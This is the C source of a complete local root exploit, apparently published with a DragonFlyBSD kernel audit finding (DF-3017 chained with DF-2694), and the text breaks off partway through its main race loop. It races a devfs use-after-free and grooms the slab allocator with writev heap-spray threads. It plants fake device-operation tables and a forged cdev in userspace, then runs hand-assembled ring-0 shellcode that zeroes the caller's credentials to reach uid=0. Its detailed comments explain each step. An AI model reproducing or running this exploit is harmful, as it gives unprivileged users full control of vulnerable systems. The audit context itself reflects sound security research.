⬢ DragonFlyBSD Kernel Audit
DF-3017 / df3017c.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
/*
 * DF-3017 x DF-2694 COMPOSED CHAIN — unprivileged -> uid=0
 * (stock INVARIANTS kernel, 2-vCPU instantiation, no SMAP/SMEP/KASLR)
 *
 * Primitive DF-3017 (verified): devfs_vop_nresolve -> devfs_allocv drops
 * devfs_lock across getnewvnode() holding a raw devfs_node while the devfs
 * core thread (CPU 0) processes the pty destroy: node freed (devfs_freep),
 * cdev released (release_dev -> sysref_put -> objcache_put).  The victim
 * then reads node->d_dev (freed cdev chunk X), reference_dev(X)
 * (sysref_get: image must have SRF_PUTAWAY CLEAR), dereferences
 * X->si_ops (devfs_core.c:379), associates and CACHES the poisoned vnode
 * (cache_setvp).  The victim's own lstat then runs devfs_vop_getattr on
 * the cached vnode whose D_DISK branch dispatches
 *     dev_dioctl(node->d_dev, DIOCGPART, ...) -> X->si_ops->d_ioctl(&ap)
 * -> our userspace ring0 stub -> p_ucred zeroed -> uid=0.
 *
 * Composition (this file) makes the reclaim deterministic:
 *
 *  1. LOCALITY — every kernel actor of the 320-byte class is pinned to
 *     CPU 0 with the UNPRIVILEGED usched_set(USCHED_DEL_CPU) mask
 *     (kern_usched.c:303 requires no capability — the missing piece of
 *     the 6-vCPU analysis):
 *       - conductor (this process): all ptmx open/close -> every event
 *         cdev is carved from CPU0's ZoneAry[25] (z_Cpu == 0);
 *       - devfs_msg_core (CPU 0, boot-time): every destroy's
 *         objcache_put -> kfree(X) is a LOCAL free -> head of the
 *         owning zone's z_LChunks (kern_slaballoc.c:1584);
 *       - hammers (CPU 0): writev(20-iovec) EPIPE loops -> kmalloc(320)
 *         + copyin(image) + kfree each iteration, so the TAIL zone's
 *         free-list head always carries the weapon image.
 *
 *  2. SATURATION CHOREOGRAPHY (per cycle):
 *       a. STORM: close W parked ptys -> 2W cdev objcache_puts on CPU0
 *          fill both per-cpu magazines and the depot -> every further
 *          put takes the kern_objcache.c corner case and kfree()s
 *          directly into the slab zones.
 *       b. PURGE: open W ptys (held) -> pops every magazine/depot object
 *          out of the cdev objcache, so the NEXT alloc back-allocates
 *          from the slab = TAIL-zone head chunk (image chunk, ctor
 *          bzeroes it — irrelevant, the image matters only when FREE).
 *       c. EVENTS: open K event ptmx fds -> their pts/ptm cdevs are
 *          TAIL-zone chunks; announce the units to the victims.
 *       d. SETTLE: let the core drain the storm FIFO (devfs_lock churn
 *          stretches every victim's allocv lock-drop window).
 *       e. FIRE: close the K events one by one.  destroy_dev is an
 *          ASYNC msg (devfs_msg_send_dev) — each event's destroy
 *          processes alone after the queue empties: kfree(X) local ->
 *          tail head -> a spinning hammer pops X within microseconds,
 *          plants si_ops=&fake_dev_ops(0x40000000), PUTAWAY-clear
 *          sysref, and frees it back to the head.  The victim, queued
 *          on devfs_lock behind the storm, re-acquires AFTER the
 *          replant and reads the IMAGE.
 *       f. the racing victim's lstat continues into getattr on the
 *          cached poisoned vnode -> dispatch -> ring0 stub -> uid=0.
 *
 *  3. DF-2694's arbitrary read (df2694_recon, same kernel) supplies the
 *     allocator ground truth this rig is sized against and verifies the
 *     planted image in the wild (see run_chain.sh stages A/B).
 *
 * usage: df3017c calib <ms>                # hammers only (stage B verify)
 *        df3017c [secs [W [K [P]]]]        # full race (default 240s)
 */
#include <sys/param.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/usched.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#ifndef USCHED_DEL_CPU
#define USCHED_DEL_CPU 3
#endif

/* ---- kernel layout (DWARF-verified on the running stock kernel) */
#define CDEV_SI_UMINOR     48
#define CDEV_SI_HLIST      80
#define CDEV_SI_OPS        168
#define CDEV_SI_IOSIZE_MAX 184
#define CDEV_SYSREF_REFCNT 232	/* low 32 = refcnt, high 32 = flags */
#define SRF_ALLOCATED      0x0002
#define SRF_PUTAWAY        0x0004

#define D_DISK    0x0002
#define D_MPSAFE  0x00400000
#define D_QUICK   0x01000000

#define OPS_HEAD_FLAGS 12
#define OPS_D_OPEN     40
#define OPS_D_CLOSE    48
#define OPS_D_IOCTL    72

#define FAKEOPS_BASE  0x40000000UL
#define SC_ADDR       0x40000100UL
#define STUB_ADDR     0x40000200UL
#define JUNK_BASE     0x40001000UL
#define FAKECDEV_BASE 0x40010000UL	/* userspace fake cdev (no SMAP) */

/* ops-spray: junk-overlaid chunks carry user-pointer si_ops values
 * clustering in ~0x6ad2xxxx / ~0x0891xxxx.  Map + PRE-FAULT those
 * ranges with a 16-byte repeating dev_ops pattern so ANY 16-aligned
 * junk si_ops dereference lands on {head.flags@+12 = D_DISK|D_MPSAFE|
 * D_QUICK, d_ioctl@+72 = SC} and dispatches the ring0 stub instead of
 * faulting ("Fatal user address access").  Raw kernel mov's of user
 * VA only survive if the page is ALREADY resident -- hence populate. */
struct sprayrange { unsigned long base, len; };
static const struct sprayrange sprays[] = {
	{ 0x60000000UL, 0x10000000UL },
	{ 0x08000000UL, 0x02000000UL },
	{ 0, 0 }
};

/* struct devfs_node offsets (DWARF-verified) */
#define NODE_DDEV     0
#define NODE_MP       8
#define NODE_VNODE    0x28
#define NODE_PARENT   0x30
#define NODE_TYPE     0x38
#define NODE_MODE     0x80
#define NODE_UID      0x84
#define NODEV_NDEV    4			/* enum devfs_nodetype Ndev */

#define MAXPOOL  300	/* SINGLE-ZONE working set: 320B zone holds ~409
			 * chunks = ~204 ptys (2 cdevs each); keeping the
			 * whole circulating park+event population inside
			 * one zone makes every freed cdev land in the zone
			 * the hammers image */
#define KMAX     8
#define NCHURN   4		/* parallel event threads (cpu0)  */
#define NSLOT    4		/* announce slots per churn thread */
#define WIN_MS   12		/* race window per storm          */
#define NHAMMER  4		/* spin hammers (cpu0): ONE running
				 * hammer images the head every ~1-2us; more
				 * only starves the churn that arms the corner */
#define NVICTIM  6		/* lstat victims (floating)       */

static int W_STORM  = 64;	/* storm closes per cycle   */
static int P_SLACK  = 96;	/* extra purge opens        */
static int win_ms   = WIN_MS;

static int NCPU = 2;
static volatile int stop, win;
static volatile int stream_on;	/* event threads active */
static unsigned char image[320];
static unsigned char nimage[240];	/* forged devfs_node (15 iovs) */
static int node_armed;		/* nimage has a valid mp */
static unsigned long leak_mp;		/* real devfs mount ptr */
static int pool_fds[MAXPOOL];
static int npool;
static long n_cycles, n_events, n_open_fail, n_storm_closes;

/* sliding announce window: churn thread i owns anns[i*NSLOT..] */
struct ann { volatile long long until_us; volatile int unit; };
static struct ann anns[NCHURN * NSLOT];
static volatile int ann_active;

static double now_us(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ((double)ts.tv_sec * 1e6 + (double)ts.tv_nsec / 1e3);
}

static void pin_keep_cpu(int keep)
{
	int c;
	for (c = 0; c < NCPU; c++) {
		if (c == keep)
			continue;
		usched_set(0, USCHED_DEL_CPU, &c, sizeof(c));
	}
}

/* ring0 stub: gs:0 -> gd_curthread -> td_proc(+0xa8) -> p_ucred(+0x10)
 * cr_uid(+0x40)=0 cr_ruid(+0xa0)=0 cr_svuid(+0xa4)=0
 * cr_ngroups(+0x44)=1 cr_groups[0](+0x48)=0 ; xor eax,eax ; ret */
static const unsigned char sc_bytes[] = {
	0x65, 0x48, 0x8b, 0x04, 0x25, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x8b, 0x40, 0x08,
	0x48, 0x8b, 0x88, 0xa8, 0x00, 0x00, 0x00,
	0x48, 0x85, 0xc9,
	0x75, 0x10,
	0x48, 0x8b, 0x88, 0xa0, 0x00, 0x00, 0x00,
	0x48, 0x8b, 0x49, 0x30,
	0x90, 0x90, 0x90, 0x90, 0x90,
	0x48, 0x8b, 0x49, 0x10,
	0xc7, 0x41, 0x40, 0x00, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x31, 0xc0,
	0xc3,
};
static const unsigned char stub_bytes[] = { 0x31, 0xc0, 0xc3 };

static void put64(void *p, size_t o, uint64_t v) { memcpy((unsigned char *)p + o, &v, 8); }
static void put32(void *p, size_t o, uint32_t v) { memcpy((unsigned char *)p + o, &v, 4); }

static void
map_payload(void)
{
	void *p;
	int i;

	p = mmap((void *)FAKEOPS_BASE, 0x4000,
		 PROT_READ | PROT_WRITE | PROT_EXEC,
		 MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
	if (p != (void *)FAKEOPS_BASE) { perror("mmap fakeops"); exit(2); }
	p = mmap((void *)JUNK_BASE, 0x20000, PROT_READ | PROT_WRITE,
		 MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
	if (p != (void *)JUNK_BASE) { perror("mmap junk"); exit(2); }
	for (i = 0; i < 0x20000 / 4096; i++)
		((volatile unsigned char *)JUNK_BASE)[i * 4096] = 1;

	put32((void *)FAKEOPS_BASE, OPS_HEAD_FLAGS,
	      D_DISK | D_MPSAFE | D_QUICK);
	put64((void *)FAKEOPS_BASE, OPS_D_OPEN,  SC_ADDR);
	put64((void *)FAKEOPS_BASE, OPS_D_CLOSE, STUB_ADDR);
	put64((void *)FAKEOPS_BASE, OPS_D_IOCTL, SC_ADDR);
	put64((void *)FAKEOPS_BASE, 32, STUB_ADDR);
	put64((void *)FAKEOPS_BASE, 56, STUB_ADDR);
	put64((void *)FAKEOPS_BASE, 64, STUB_ADDR);
	put64((void *)FAKEOPS_BASE, 80, STUB_ADDR);
	p = mmap((void *)FAKECDEV_BASE, 0x1000,
		 PROT_READ | PROT_WRITE,
		 MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
	if (p != (void *)FAKECDEV_BASE) { perror("mmap fakecdev"); exit(2); }

	/* the complete fake cdev, entirely in userspace (no SMAP): the
	 * forged node's d_dev points here */
	{
		unsigned char fc[320];
		memset(fc, 0, sizeof(fc));
		put32(fc, CDEV_SI_UMINOR, 0x1337);
		strcpy((char *)fc + 88, "pts/31337");
		put64(fc, CDEV_SI_OPS, FAKEOPS_BASE);
		put64(fc, CDEV_SI_IOSIZE_MAX, 0x10000);
		put64(fc, CDEV_SYSREF_REFCNT, 0x21);
		memcpy((void *)FAKECDEV_BASE, fc, sizeof(fc));
	}
	memcpy((void *)SC_ADDR, sc_bytes, sizeof(sc_bytes));
	memcpy((void *)STUB_ADDR, stub_bytes, sizeof(stub_bytes));

	/* ops-spray: 16-byte repeating pattern:
	 *   +0  q0 = (flags << 32) | SC_ADDR   -> head.flags@+12 = flags
	 *   +8  q1 = SC_ADDR                    -> d_ioctl@+72 etc = SC
	 * (72 mod 16 == 8 -> q1;  12 mod 16 lands in q0's high dword) */
	{
		const struct sprayrange *sr;
		unsigned long pat[2];
		pat[0] = ((unsigned long)(D_DISK | D_MPSAFE | D_QUICK) << 32)
		    | SC_ADDR;
		pat[1] = SC_ADDR;
		for (sr = sprays; sr->len; sr++) {
			unsigned long *p = mmap((void *)sr->base, sr->len,
			    PROT_READ | PROT_WRITE,
			    MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
			if (p != (unsigned long *)sr->base) {
				perror("mmap spray");
				continue;
			}
			/* populate + pattern in one pass */
			{
				unsigned long i, n = sr->len / 16;
				for (i = 0; i < n; i++) {
					p[2 * i] = pat[0];
					p[2 * i + 1] = pat[1];
				}
			}
			printf("spray %#lx+%#lx armed\n", sr->base, sr->len);
		}
	}
}

/* Load the node template leaked by the DF-2694 recon stage: a freed
 * pts devfs_node carries the REAL devfs mount pointer (mp) and the
 * Ndev type.  Patch d_dev to the userspace fake cdev and v_node NULL,
 * zero the TAILQ links; the result is a fully valid forged node the
 * racing victim can walk end-to-end. */
static void
build_node_image(void)
{
	FILE *f;
	static unsigned char tpl[240];
	int ok = 0;

	f = fopen("/tmp/recon.node.tpl", "r");
	if (f) {
		if (fread(tpl, 1, 232, f) == 232)
			ok = 1;
		fclose(f);
	}
	if (ok) {
		memcpy(nimage, tpl, 232);
		memset(nimage + 232, 0, 8);
		leak_mp = *(unsigned long *)(nimage + NODE_MP);
		if ((leak_mp >> 48) != 0xffff || leak_mp == 0)
			ok = 0;
		if (*(int *)(nimage + NODE_TYPE) != NODEV_NDEV)
			ok = 0;		/* template must be a Ndev node */
	}
	if (!ok) {
		memset(nimage, 0, sizeof(nimage));
		*(int *)(nimage + NODE_TYPE) = NODEV_NDEV;
		*(unsigned short *)(nimage + NODE_MODE) = 0620;
	}
	/*
	 * THE DUAL-ROLE IMAGE.  kfree() writes the zone freelist link at
	 * chunk offset 0 (kern_slaballoc.c:1584) -- which is exactly
	 * devfs_node.d_dev.  A freed imaged node therefore always shows
	 * d_dev = (the next freed chunk on the list, N).  So the image is
	 * forged to ALSO be a complete fake cdev for whichever imaged
	 * chunk the link chases to:
	 *   N + 168 (si_ops)   = FAKEOPS_BASE  -> dev_is_good/D_DISK/
	 *                        dev_dioctl all dispatch through it
	 *   N + 232 (sysref)   = refcnt 0x21, flags 0 -> sysref_get OK
	 *   N + 80  (si_hlist) = NULL         -> SLIST insert absorbed
	 * and the node half keeps the REAL leaked mp (offset 8) so
	 * getnewvnode/mnt_vn_spec_ops stay valid.
	 */
	put64(nimage, NODE_DDEV, 0);	/* clobbered by the free link anyway */
	put64(nimage, NODE_VNODE, 0);
	put64(nimage + 168, 0, FAKEOPS_BASE);	/* cdev role: si_ops */
	put64(nimage + 232, 0, 0x21);		/* cdev role: sysref */
	put64(nimage + 80, 0, 0);		/* cdev role: si_hlist */
	put64(nimage + 0xc8, 0, 0);			/* link.tqe_next */
	put64(nimage + 0xc8, 8, 0);			/* link.tqe_prev */
	put64(nimage + 0xd8, 0, 0);			/* list.tqh_first */
	put64(nimage + 0xd8, 8, 0);			/* list.tqh_last */
	node_armed = ok;
}

static void
build_images(void)
{
	memset(image, 0, sizeof(image));
	put32(image, CDEV_SI_UMINOR, 0x1337);
	put64(image, CDEV_SI_OPS, FAKEOPS_BASE);
	put64(image, CDEV_SI_IOSIZE_MAX, 0x10000);
	put64(image, CDEV_SYSREF_REFCNT, 0x21);	/* refcnt=0x21 flags=0 */
	put64(image, 32, JUNK_BASE);
	put64(image, 40, 0x0000010000000000UL);
}

/* ------------------------- rig threads ------------------------- */

extern char *ptsname(int);	/* DF libc has it; headers hide it */

static double now_us(void);
static int pty_unit_of(int fd);

/* victim: lstat every announced live unit.  The churn's
 * open/announce/µs-live/close flap keeps each unit's namecache entry
 * invalidated, so these lstats re-enter nresolve -> devfs_allocv
 * constantly -- the DF-3017 race -- and the survivor's own lstat then
 * dispatches the ring0 stub through devfs_vop_getattr. */
static void *
statloop(void *arg __unused)
{
	struct stat st;
	char path[32];
	int i, n;

	for (;;) {
		if (stop || win)
			return NULL;
		if (!ann_active) {
			usleep(100);
			continue;
		}
		long long now = (long long)now_us();
		n = NCHURN * NSLOT;
		for (i = 0; i < n; i++) {
			long long until = anns[i].until_us;
			if (until < now)
				continue;
			int u = anns[i].unit;
			if (u < 0)
				continue;
			snprintf(path, sizeof(path), "/dev/pts/%d", u);
			if (lstat(path, &st) == 0) {
				/* forged signature: the weapon image carries
				 * si_uminor=0x1337; a victim that associated
				 * the poisoned vnode sees it in st_rdev */
				if ((st.st_rdev & 0xfffff) == 0x1337) {
					printf("[MARK] unit %d st_rdev minor "
					    "0x1337 -- vnode POISONED\n", u);
					fflush(stdout);
				}
			}
			access(path, W_OK);
			if (win || stop)
				return NULL;
		}
		if (getuid() == 0) {
			win = 1;
			return NULL;
		}
	}
	return NULL;
}

/* churn: parallel short-lived event ptys on cpu0.  Aggregate churn
 * pressure against the storm-pinned magazines means nearly every event
 * cdev free takes the objcache corner case (kern_objcache.c:706-717)
 * and kfree()s directly into the CPU0 tail zone (kern_slaballoc.c:1584)
 * where the hammers hold the free-list head armed. */
static void *
churn(void *arg)
{
	long id = (long)arg;
	struct ann *mine = &anns[id * NSLOT];
	int slot = 0;
	int hfd[2];
	int fd, u;

	if (pipe(hfd) != 0)
		return NULL;
	close(hfd[0]);

	pin_keep_cpu(0);
	while (!stop && !win) {
		if (!stream_on) {
			usleep(200);
			continue;
		}
		fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
		if (fd < 0) {
			n_open_fail++;
			usleep(500);
			continue;
		}
		n_events++;
		u = pty_unit_of(fd);
		if (u >= 0) {
			struct ann *a = &mine[slot];
			slot = (slot + 1) % NSLOT;
			a->unit = -1;
			__asm__ __volatile__ ("mfence" ::: "memory");
			a->until_us = 0;
			__asm__ __volatile__ ("mfence" ::: "memory");
			a->unit = u;
			a->until_us = (long long)now_us() + 3000;
		}
		/* RANDOMIZED µs-scale pty lifetime: the destroy must be
		 * able to land inside a victim's first-resolve allocv
		 * window for this unit, so the close time sweeps the whole
		 * range from ~0 (original-rig destroy-rain) to 600us.
		 * Interleaved writevs keep the tail-zone head replanted. */
		{
			unsigned r = (unsigned)(now_us() + n_events + id);
			int hold_us = (int)(r % 600);
			writev(hfd[1], (struct iovec *)image, 20);
			if (hold_us > 60)
				usleep(hold_us);
			else
				writev(hfd[1], (struct iovec *)image, 20);
		}
		writev(hfd[1], (struct iovec *)image, 20);
		close(fd);
		writev(hfd[1], (struct iovec *)image, 20);
		writev(hfd[1], (struct iovec *)image, 20);
		if (win || stop)
			return NULL;
	}
	return NULL;
}

/* node hammer: 15-iovec EPIPE writev = kmalloc(240)+copyin(nimage)+
 * kfree -- the 240-byte class is the devfs_node zone (zoneindex 22).
 * Keeps the freed-node free-list head armed with the forged node whose
 * d_dev points at the userspace fake cdev. */
static void *
nodehammer(void *arg)
{
	int pin = (long)arg;
	int pfd[2];
	long iter = 0;

	pin_keep_cpu(pin);
	if (pipe(pfd) != 0)
		return NULL;
	close(pfd[0]);
	while (!stop && !win) {
		writev(pfd[1], (struct iovec *)nimage, 15);
		if (++iter % 256 == 0) {
			sched_yield();
			if (getuid() == 0) { win = 1; break; }
		}
	}
	return NULL;
}

/* pulse hammer: cycles MANY chunks per wave.  Each of KP pipes gets
 * filled, then a blocking writev parks the weapon image in a DISTINCT
 * allocated chunk (kmalloc+copyin); draining the pipes EPIPEs all of
 * them, kfree-ing K image-laden chunks onto the zone head.  Unlike the
 * spin hammer (which LIFO-ping-pongs a single head chunk), the pulse
 * wave re-images the whole head region of the zone every ~100us, so a
 * raced chunk that landed at freelist depth > 0 is still armed before
 * the victim reads it. */
#define KPULSE 8
static void *
pulsehammer(void *arg)
{
	int pin = (long)arg & 1;
	int isnode = ((long)arg >> 1) & 1;
	int rfd[KPULSE], wfd[KPULSE];
	char junk[512];
	int i;

	pin_keep_cpu(pin);
	memset(junk, 1, sizeof(junk));
	while (!stop && !win) {
		for (i = 0; i < KPULSE; i++) {
			int pfd[2];
			if (pipe(pfd) != 0)
				break;
			rfd[i] = pfd[0];
			wfd[i] = pfd[1];
			/* fill the pipe so the weapon writev blocks */
			for (;;) {
				ssize_t r = write(wfd[i], junk, sizeof(junk));
				if (r <= 0)
					break;
			}
		}
		/* park K image-laden chunks (blocking writevs) */
		for (i = 0; i < KPULSE; i++)
			writev(wfd[i],
			    (struct iovec *)(isnode ? nimage : image),
			    isnode ? 15 : 20);
		/* release: EPIPE all -> K imaged chunks freed */
		for (i = 0; i < KPULSE; i++) {
			close(rfd[i]);
			close(wfd[i]);
		}
		if (getuid() == 0) { win = 1; break; }
		sched_yield();
	}
	return NULL;
}

/* hammer: EPIPE writev = kmalloc(320)+copyin(image)+kfree; keeps the
 * CPU0 tail-zone free-list head armed with the weapon image. */
static void *
hammer(void *arg __unused)
{
	int pfd[2];
	long iter = 0;

	pin_keep_cpu(0);
	if (pipe(pfd) != 0)
		return NULL;
	close(pfd[0]);

	while (!stop && !win) {
		writev(pfd[1], (struct iovec *)image, 20);
		if (++iter % 256 == 0) {
			sched_yield();
			if (getuid() == 0) { win = 1; break; }
		}
	}
	return NULL;
}

extern char *ptsname(int);	/* DF libc has it; headers hide it */

static int
pty_unit_of(int fd)
{
	struct stat st;
	const char *t;

	/* ptsname of the master gives /dev/pts/N */
	t = ptsname(fd);
	if (t && strncmp(t, "/dev/pts/", 9) == 0)
		return atoi(t + 9);
	t = ttyname(fd);
	if (t && strncmp(t, "/dev/pts/", 9) == 0)
		return atoi(t + 9);
	if (fstat(fd, &st) == 0)
		return (int)(st.st_rdev & 0xfffff);
	return -1;
}

/* ------------------------- conductor ------------------------- */
static void
pool_close_n(int n)
{
	while (n-- > 0 && npool > 0)
		close(pool_fds[--npool]);
}

static void
pool_open_n(int n)
{
	int fd;
	while (n-- > 0 && npool < MAXPOOL - 1) {
		fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
		if (fd < 0) {
			n_open_fail++;
			break;
		}
		pool_fds[npool++] = fd;
	}
}

static void
win_shutdown(void)
{
	int fd;

	printf("WIN: getuid()=%d geteuid()=%d\n", getuid(), geteuid());
	fflush(stdout);
	fd = open("/tmp/df3017.root", O_CREAT | O_WRONLY | O_TRUNC, 0666);
	if (fd >= 0) {
		dprintf(fd, "uid=0 via DF-3017 x DF-2694 chain\n");
		close(fd);
	}
	fd = open("/tmp/df3017.uid0", O_CREAT | O_WRONLY | O_TRUNC, 0666);
	if (fd >= 0) {
		dprintf(fd, "cycles=%ld events=%ld uid=%d\n",
		    n_cycles, n_events, getuid());
		close(fd);
	}
	/* marker on the serial console: uid0 can write /dev/console, so
	 * the host driver can watch the serial line instead of polling
	 * over ssh (which pollutes the 240-byte zone with tcpcb junk) */
	fd = open("/dev/console", O_WRONLY);
	if (fd >= 0) {
		dprintf(fd, "\nDF3017-CHAIN-WON uid=0 euid=0 cycles=%ld events=%ld\n",
		    n_cycles, n_events);
		close(fd);
	}
}

int
main(int argc, char **argv)
{
	int calib_ms = 0;
	int secs = 240, i;
	pthread_t th[64];
	int nth = 0;
	double t_start;

	if (argc > 1 && !strcmp(argv[1], "calib")) {
		calib_ms = (argc > 2) ? atoi(argv[2]) : 2000;
	} else {
		if (argc > 1) secs     = atoi(argv[1]);
		if (argc > 2) W_STORM  = atoi(argv[2]);
		if (argc > 3) win_ms    = atoi(argv[3]);
		if (argc > 4) P_SLACK  = atoi(argv[4]);
	}
	{
		size_t sz = sizeof(NCPU);
		if (sysctlbyname("hw.ncpu", &NCPU, &sz, NULL, 0) != 0)
			NCPU = 2;
	}

	signal(SIGPIPE, SIG_IGN);
	map_payload();
	build_images();
	build_node_image();
	printf("node-image %s (mp=%#lx, d_dev=%#lx)\n",
	    node_armed ? "ARMED" : "unarmed(mp-missing)", leak_mp,
	    (unsigned long)FAKECDEV_BASE);
	fflush(stdout);
	sleep(3);	/* let the launch ssh session drain away */

	printf("DF-3017x2694 chain: uid=%d ncpu=%d %s W=%d win=%dms P=%d "
	    "fakeops=%#lx sc=%#lx\n", getuid(), NCPU,
	    calib_ms ? "CALIB" : "RACE", W_STORM, win_ms, P_SLACK,
	    FAKEOPS_BASE, SC_ADDR);
	fflush(stdout);

	/* victims FIRST: inherit the unrestricted mask (float on any cpu) */
	for (i = 0; i < NVICTIM; i++)
		pthread_create(&th[nth++], NULL, statloop, NULL);

	/* main (conductor) pins itself; hammers+churn inherit cpu0 */
	pin_keep_cpu(0);
	printf("conductor pinned to cpu0\n");
	fflush(stdout);

	if (calib_ms) {
		for (i = 0; i < 6; i++)
			pthread_create(&th[nth++], NULL, hammer, NULL);
		usleep(calib_ms * 1000);
		stop = 1;
		for (i = 0; i < nth; i++) {
			void *rv;
			struct timespec ts = { 0, 50 * 1000 * 1000 };
			pthread_timedjoin_np(th[i], &rv, &ts);
		}
		printf("calib done\n");
		return 0;
	}

	for (i = 0; i < NHAMMER; i++)
		pthread_create(&th[nth++], NULL, hammer, NULL);
	/* node-image spin hammers: the freed event node lands at its
	 * zone's free-list HEAD and is imaged within microseconds */
	if (node_armed) {
		for (i = 0; i < 4; i++)
			pthread_create(&th[nth++], NULL, nodehammer,
			    (void *)(long)(i & 1));
	}
	for (i = 0; i < NCHURN; i++)
		pthread_create(&th[nth++], NULL, churn, (void *)(long)i);

	/* Park: sized so the window is decisively net-free (bleed puts
	 * far exceed churn gets -> objcache corner case stays armed). */
	pool_open_n(250);
	pool_close_n(W_STORM);
	pool_open_n(W_STORM);
	printf("primed single-zone park=%d\n", npool);
	fflush(stdout);

	t_start = now_us();
	while (!win && (now_us() - t_start) / 1e6 < secs) {
		n_cycles++;

		/* a. STORM: close W newest parked ptys — 2W cdev puts on
		 *    cpu0 pin both magazines and the depot full; from here
		 *    every further put takes the objcache corner case and
		 *    kfree()s directly into the CPU0 slab zones. */
		pool_close_n(W_STORM);
		n_storm_closes += W_STORM;

		/* a2. SETTLE: let the core chew the storm FIFO before any
		 *    event free lands (early frees would recycle into the
		 *    partially-filled magazines as stale PUTAWAY chunks). */
		usleep(5000);

		/* b. WINDOW: churn opens µs-lived event ptys whose cdevs
		 *    recycle the (tail-zone-only) magazine population;
		 *    their frees kfree into the tail-zone head where the
		 *    hammers replant the weapon image; victims race every
		 *    destroy through the stretched allocv window. */
		ann_active = 1;
		stream_on = 1;
		{
			/* BLEED + REPLANT: close one parked pty every
			 * ~25us -- sustained net-free keeps the magazines
			 * pinned full so the churn's event frees overflow
			 * (kern_objcache.c corner case) and kfree directly
			 * into the CPU0 tail zone; interleaved writev
			 * bursts keep the imaging cadence comparable.
			 * Imaging is cumulative: a kfree'd chunk keeps its
			 * forged si_ops until something kmallocs it, so
			 * each event cdev only has to reach the free-list
			 * head once to stay armed. */
			double tend = now_us() + (double)win_ms * 1000.0;
			double tend_settle = tend + 6000.0;
			int hb[2];
			if (pipe(hb) == 0) {
				close(hb[0]);
				while (now_us() < tend_settle && !win) {
					int j;
					for (j = 0; j < 6; j++)
						writev(hb[1],
						    (struct iovec *)image, 20);
